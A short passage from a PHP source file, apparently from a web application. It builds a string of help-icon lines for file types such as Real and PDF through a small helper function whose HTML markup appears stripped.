$icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_FILE_REAL'], 'Real');
$icons .= _InfoCreateRightHelpLine($GLOBALS['IMAGE_PDF'], 'PDF');
$icons .= '
';
return($icons);
}
function _InfoCreateRightHelpLine($icon, $str) {
return('' . $icon . ' | ' . $str . ' |
');
}
?>